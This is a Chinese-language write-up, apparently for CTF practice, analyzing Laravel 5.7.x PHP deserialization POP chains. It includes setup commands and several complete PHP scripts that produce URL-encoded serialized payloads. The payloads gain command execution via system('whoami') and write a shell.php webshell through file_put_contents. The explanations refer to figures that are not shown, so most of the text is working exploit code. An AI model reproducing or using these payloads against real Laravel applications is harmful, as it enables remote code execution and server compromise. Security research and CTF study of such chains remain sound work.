也是这次的第五空间比赛中,出了一道关于Lavarel反序列化链的题目,引发了许多师傅对 Lavarel5.7.x 版本的反序列化链子的思考。
并且这么多链子跟下来,感觉有一个字直接灵魂。 巧
这里防止文章过于冗长,便于师傅阅读和思考。所以这次直接用图片的方式分析一下POP链。
可以直接利用 composer
安装
html composer create-project laravel/laravel laravel57 "5.7.*"
然后利用 artisan
来启动 lavarel
。访问 localhost:8000
即可
php artisan serve --host 0.0.0.0
首先我们先构造一个反序列化的利用点吧。
编写路由
routes\web.php
这里尽量简短的分析一下这个链子吧。
绕过createABufferedOutputMock
之后就回到了mockConsoleOutput
函数里面
出了bind
也就来到了run
方法
这样就进入了Container.php
中的call
方法。
最后的执行栈图如下
<?php namespace Faker\ORM\CakePHP; class EntityPopulator { public $expectedOutput; public $expectedQuestions; public function __construct() { $this->expectedOutput=['Mrkaixin']; $this->expectedQuestions=['Mrkaixin']; } } namespace Illuminate\Foundation; class Application { public $bindings; public function __construct() { $this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']]; } } namespace Illuminate\Foundation\Testing; use Faker\ORM\CakePHP\EntityPopulator; use Illuminate\Foundation\Application; class PendingCommand{ public $parameters; public $test; public $app; public $command; public function __construct() { $this->command='system'; $this->parameters=['whoami']; $this->test=new EntityPopulator(); $this->app=new Application(); } } //echo serialize(new PendingCommand()); echo urlencode(serialize(new PendingCommand()));
如图所示
<?php namespace Faker; class Generator { public $formatters; public function __construct() { $this->formatters = ['addCollection'=>"system"]; } } namespace Symfony\Component\Routing\Loader\Configurator; use Faker\Generator; class ImportConfigurator { public $route; public $parent; public function __construct() { // $this->route =["whoami"]; $this->route="whoami"; $this->parent = new Generator(); } } echo urlencode(serialize(new ImportConfigurator()));
调用栈
<?php namespace Illuminate\Database\Eloquent; class Builder { public function __construct() { $name = "<?php phpinfo(); ?>"; $this->localMacros = ['register' => 'Illuminate\Support\Arr::first']; $this->$name="shell.php"; } } namespace Illuminate\Routing; use Illuminate\Database\Eloquent\Builder; class PendingResourceRegistration { public $name; public function __construct() { $this->registrar = new Builder(); $this->name = 'file_put_contents'; } } echo urlencode(serialize(new PendingResourceRegistration()));
这个链子是在第一条链子被封锁的情况下的第二个办法。利用call_user_func
去触发src\Illuminate\Foundation\Testing\PendingCommand.php
中的run
方法。所以这部分只分析到如何触发run
方法。
操作栈
<?php namespace Faker\ORM\CakePHP; class EntityPopulator { public $expectedOutput; public $expectedQuestions; public function __construct() { $this->expectedOutput=['Mrkaixin']; $this->expectedQuestions=['Mrkaixin']; } } namespace Illuminate\Foundation; class Application { public $bindings; public function __construct() { $this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']]; } } namespace Illuminate\Foundation\Testing; use Faker\ORM\CakePHP\EntityPopulator; use Illuminate\Foundation\Application; class PendingCommand{ public $parameters; public $test; public $app; public $command; public function __construct() { $this->command='system'; $this->parameters=['whoami']; $this->test=new EntityPopulator(); $this->app=new Application(); } } namespace Symfony\Component\Routing; class RouteCollection { public $routes; public function __construct() { $this->routes =['Mrkaixin is beautiful']; $this->resources=['Mrkaixin is handsome']; } } namespace Faker; use Illuminate\Foundation\Testing\PendingCommand; use Symfony\Component\Routing\RouteCollection; class ValidGenerator { public $generator; public function __construct() { $this->generator =new RouteCollection(); $this->validator=[new PendingCommand(),'run']; } } namespace Symfony\Component\Routing\Loader\Configurator; use Faker\ValidGenerator; class ImportConfigurator { public $parent; public $route; public function __construct() { $this->parent = new ValidGenerator(); $this->route = ['Mrkaixin']; } } echo urlencode(serialize(new ImportConfigurator()));
这里也是和链子4一样,寻找可以利用的call_user_func
去触发src\Illuminate\Foundation\Testing\PendingCommand.php
中的run
方法。
如图所示
调用栈图如下
<?php namespace Faker\ORM\CakePHP; class EntityPopulator { public $expectedOutput; public $expectedQuestions; public function __construct() { $this->expectedOutput = ['Mrkaixin']; $this->expectedQuestions = ['Mrkaixin']; } } namespace Illuminate\Foundation; class Application { public $bindings; public function __construct() { $this->bindings = ['Illuminate\Console\OutputStyle' => 'Mrkaixin', 'Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Foundation\Application']]; } } namespace Illuminate\Foundation\Testing; use Faker\ORM\CakePHP\EntityPopulator; use Illuminate\Foundation\Application; class PendingCommand { public $parameters; public $test; public $app; public $command; public function __construct() { $this->command = 'system'; $this->parameters = ['whoami']; $this->test = new EntityPopulator(); $this->app = new Application(); } } namespace Illuminate\Validation\Rules; use Illuminate\Foundation\Testing\PendingCommand; class RequiredIf { public function __construct() { $this->condition = [new PendingCommand(), 'run']; } } namespace Symfony\Component\Routing; class RouteCollection { public function __construct() { $this->routes = []; } } namespace Symfony\Component\HttpFoundation; use Illuminate\Validation\Rules\RequiredIf; class Cookie{ public function __construct() { $this->path=new RequiredIf(); } } namespace Symfony\Component\Routing\Loader\Configurator; use Symfony\Component\HttpFoundation\Cookie; use Symfony\Component\Routing\RouteCollection; class CollectionConfigurator { public $collection; public function __construct() { $this->collection = new RouteCollection(); $this->route = new Cookie(); } } //echo (serialize(new CollectionConfigurator())); echo urlencode(serialize(new CollectionConfigurator()));
首先还是和链二一样从src\Illuminate\Routing\PendingResourceRegistration.php
的register
函数进去,
然后这里也是想到了利用call_user_func
来rce
然后触发Logger
的__call
函数。
一开始以为这个地方是可控的,按理说都应该触发的是call_user_func(xxxx)
但是这里触发的是某个类的register
函数。导致产生错误。
所以这个地方有点没搞懂。也希望师傅们能给点思路 orz。
<?php namespace Illuminate\Log; class Logger { public $logger; public $register; public function __construct() { $this->logger = $this; $this->register='call_user_func'; } } namespace Illuminate\Routing; use Illuminate\Log\Logger; class PendingResourceRegistration { public $name; public $controller; public $options; public function __construct() { $this->registrar = new Logger(); $this->name = 'file_put_contents'; $this->controller = 'shell.php'; $this->options = '<?php phpinfo(); ?>'; } } //echo serialize(new PendingCommand()); echo urlencode(serialize(new PendingResourceRegistration()));